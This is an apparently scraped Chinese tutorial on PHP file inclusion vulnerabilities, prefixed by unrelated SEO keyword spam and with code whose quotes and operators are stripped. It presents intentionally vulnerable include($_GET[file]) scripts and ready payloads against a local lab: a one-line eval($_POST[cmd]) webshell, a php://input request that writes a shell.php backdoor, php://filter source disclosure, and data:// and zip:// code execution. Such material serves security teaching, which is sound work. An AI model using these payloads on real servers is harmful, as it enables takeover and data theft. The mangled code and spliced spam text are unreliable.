seo整站优化+WordPress,网站建设方投资成本,企业邮箱登录入口263,高阳网站制作31-WEB漏洞-文件操作之文件包含漏洞全解 一、本地包含1.1、无限制包含漏洞文件1.2、有限制包含漏洞文件1.2.1、绕过方法1.2.1.1、%00截断1.2.1.2、长度截断 二、远程包含2.1、无限制包含漏洞文件2.2、有限制包含漏洞文件 三、各种协议流提交流3.1、各协议的利用条件和方法3.1.1… 31-WEB漏洞-文件操作之文件包含漏洞全解 一、本地包含1.1、无限制包含漏洞文件1.2、有限制包含漏洞文件1.2.1、绕过方法1.2.1.1、%00截断1.2.1.2、长度截断 二、远程包含2.1、无限制包含漏洞文件2.2、有限制包含漏洞文件 三、各种协议流提交流3.1、各协议的利用条件和方法3.1.1、php://input3.1.2、file://3.1.3、http://、https://3.1.4、php://3.1.5、php://filter参数详解3.1.6、phar://、zip://、bzip2://、zlib://3.1.7、data:// 四、 总结五、涉及资源 #文件包含漏洞原理检测类型利用修复等#文件包含各个脚本代码
ASP,PHP,JSP,ASPX等!-—#include file1.asp --!--#include filetop.aspx--c:import urlhttp://lthief.one/1.jspjsp:include pagehead .jsp / % include filehead.jsp %?php Include ( test.php ) ?单纯访问phpinfo.txt文件 文件包含访问phpinfo.txt文件 一、本地包含
1.1、无限制包含漏洞文件
include.php
?php$filename$_GET[file];
include ( $filename);? 1.2、有限制包含漏洞文件
include1.php
?php$filename$_GET[file];
include ( $filename..html );? 传入flag.txt文件参数执行失败因为在当前目录不存在flag.txt.html文件
1.2.1、绕过方法
1.2.1.1、%00截断 条件 magic_quotes_gpcoffphp版本5.3.4 原理 00截断是操作系统层的漏洞由于操作系统是C语言或汇编语言编写的这两种语言在定义字符串时都是以\0即0x00作为字符串的结尾。操作系统在识别字符串时当读取到\0字符时就认为读取到了一个字符串的结束符号。 这里不知道为啥不能截断所以放弃了
1.2.1.2、长度截断 原理垃圾数据溢出 超过文件命名256位后面的HTML就没有被识别而flag.txt././被当成flag.txt执行 这里也不行了
二、远程包含
条件
2.1、无限制包含漏洞文件
include.php
?php$filename$_GET[file];
include ( $filename);? 包含一句话木马
?php eval($_POST[cmd])?也可以使用菜刀进行连接
2.2、有限制包含漏洞文件
include1.php
?php$filename$_GET[file];
include ( $filename..html );?加?号 加%20号 加%23号 使用一句话木马
三、各种协议流提交流
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流I/O streams
zlib:// — 压缩流
data:// — 数据RFC 2397
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流php.ini参数设置 在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。allow_url_fopen默认值是ON。允许url里的封装协议访问文件allow_url_include默认值是OFF。不允许包含url里的封装协议包含文件
3.1、各协议的利用条件和方法 3.1.1、php://input
php://input可以访问请求的原始数据的只读流将post请求的数据当作php代码执行。当传入的参数作为文件名打开时可以将参数设为php://input同时post想设置的文件内容php执行时会将post内容当作文件内容。注当enctype”multipart/form-data”时php://input是无效的。
3.1.2、file://
用于访问本地文件系统。当指定了一个相对路径不以/、、\或 Windows 盘符开头的路径提供的路径将基于当前的工作目录。file://[文件的绝对路径和文件名] http://127.0.0.1/include.php?filefile://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt [文件的相对路径和文件名] http://127.0.0.1/include.php?file./phpinfo.txt
3.1.3、http://、https://
URL 形式允许通过 HTTP 1.0 的 GET方法以只读访问文件或资源通常用于远程包含。[http//网络路径和文件名] http://127.0.0.1/include.php?filehttp://127.0.0.1/phpinfo.txt
3.1.4、php://
php:// 用于访问各个输入/输出流I/O streams经常使用的是php://filter和php://inputphp://filter用于读取源码php://input用于执行php代码。
3.1.5、php://filter参数详解 可用的过滤器列表4类 读取文件源码用法
php://filter/readconvert.base64-encode/resource[文件名]
http://127.0.0.1/include.php?filephp://filter/readconvert.base64-encode/resourcephpinfo.php执行php代码用法
php://input [POST DATA]
http://127.0.0.1/include.php?filephp://input
[POST DATA部分]
?php phpinfo(); ?http://127.0.0.1/include.php?filephp://input
[POST DATA部分]
?php fputs(fopen(shell.php,w),?php eval($_GET[cmd]); ?); ?3.1.6、phar://、zip://、bzip2://、zlib://
用于读取压缩文件zip:// 、 bzip2:// 、 zlib:// 均属于压缩流可以访问压缩文件中的子文件更重要的是不需要指定后缀名可修改为任意后缀jpg png gif xxx 等等。
1、zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]#编码为%23
http://127.0.0.1/include.php?filezip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt2、compress.bzip2://file.bz2
http://127.0.0.1/include.php?filecompress.bzip2://D:/soft/phpStudy/WWW/file.jpghttp://127.0.0.1/include.php?filecompress.bzip2://./file.jpg3、compress.zlib://file.gz
http://127.0.0.1/include.php?filecompress.zlib://D:/soft/phpStudy/WWW/file.jpghttp://127.0.0.1/include.php?filecompress.zlib://./file.jpg4、phar://
3.1.7、data://
数据流封装器以传递相应格式的数据。通常可以用来执行PHP代码。
1、data://text/plain,
http://127.0.0.1/include.php?filedata://text/plain,?php%20phpinfo();?2、data://text/plain;base64,
http://127.0.0.1/include.php?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b四、 总结
伪协议常常用于文件包含漏洞之中。在php中能够造成文件包含的函数有include、require、include_once、require_once、highlight_file、how_source、file_get_contents、fopen、file、readfile。 include函数可以放在PHP脚本的任意位置一般放在流程控制的处理部分中。当PHP脚本执行到include指定引入的文件时才将它包含并尝试执行。当第二次遇到相同文件时PHP还是会重新解释一次。require函数一般放在PHP脚本的最前面PHP执行前就会先读入require指定引入的文件包含并尝试执行引入的脚本文件。require的工作方式是提高PHP的执行效率当它在同一个网页中解释过一次后第二次便不会解释。include_once和require_once函数分别与require / include作用相同不同的是他们在执行到时会先检查目标内容是不是在之前已经导入过如果导入过了那么便不会再次重复引入其同样的内容。hightfile函数highlight_file(filename,return) —— filename必需。要进行高亮处理的 PHP 文件的路径。return可选。如果设置 true则本函数返回高亮处理的代码。该函数通过使用 PHP 语法高亮程序中定义的颜色输出或返回包含在 filename 中的代码的语法高亮版本。show_source函数该函数是highlight_file函数的别名。file_get_content函数把整个文件读入一个字符串中。和 file() 一样不同的是 file_get_contents() 把文件读入一个字符串。file() 函数把整个文件读入一个数组中。与 file_get_contents() 类似不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行包括换行符在内。如果失败则返回 false。
五、涉及资源
https://www.ichunqiu.com/battalion?t1r0http://4.chinalover.sinaapp.com/web7/index.phphttps://www.cnblogs.com/endust/p/11804767.html #php伪协议https://pan.baidu.com/s/1x_mwVE-xxmoKAvDJ8mRsw 提取码xiao